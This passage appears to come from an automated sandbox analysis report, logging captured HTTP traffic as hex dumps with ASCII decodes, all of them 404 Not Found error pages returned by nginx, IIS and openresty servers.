68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:13:25 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Mon, 11 Nov 2024 17:13:19 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:13:25 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:13:25 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Mon, 11 Nov 2024 17:13:20 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.21.4.3Date: Mon, 11 Nov 2024 17:13:29 GMTContent-Type: text/htmlContent-Length: 561Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.21.4.3Date: Mon, 11 Nov 2024 17:13:29 GMTContent-Type: text/htmlContent-Length: 561Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:13:36 GMTContent-Type: text/htmlContent-Length: 138Connection: keep-aliveETag: "663ee226-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:13:37 GMTContent-Type: text/htmlContent-Length: 138Connection: keep-aliveETag: "663ee226-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Mon, 11 Nov 2024 17:13:35 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 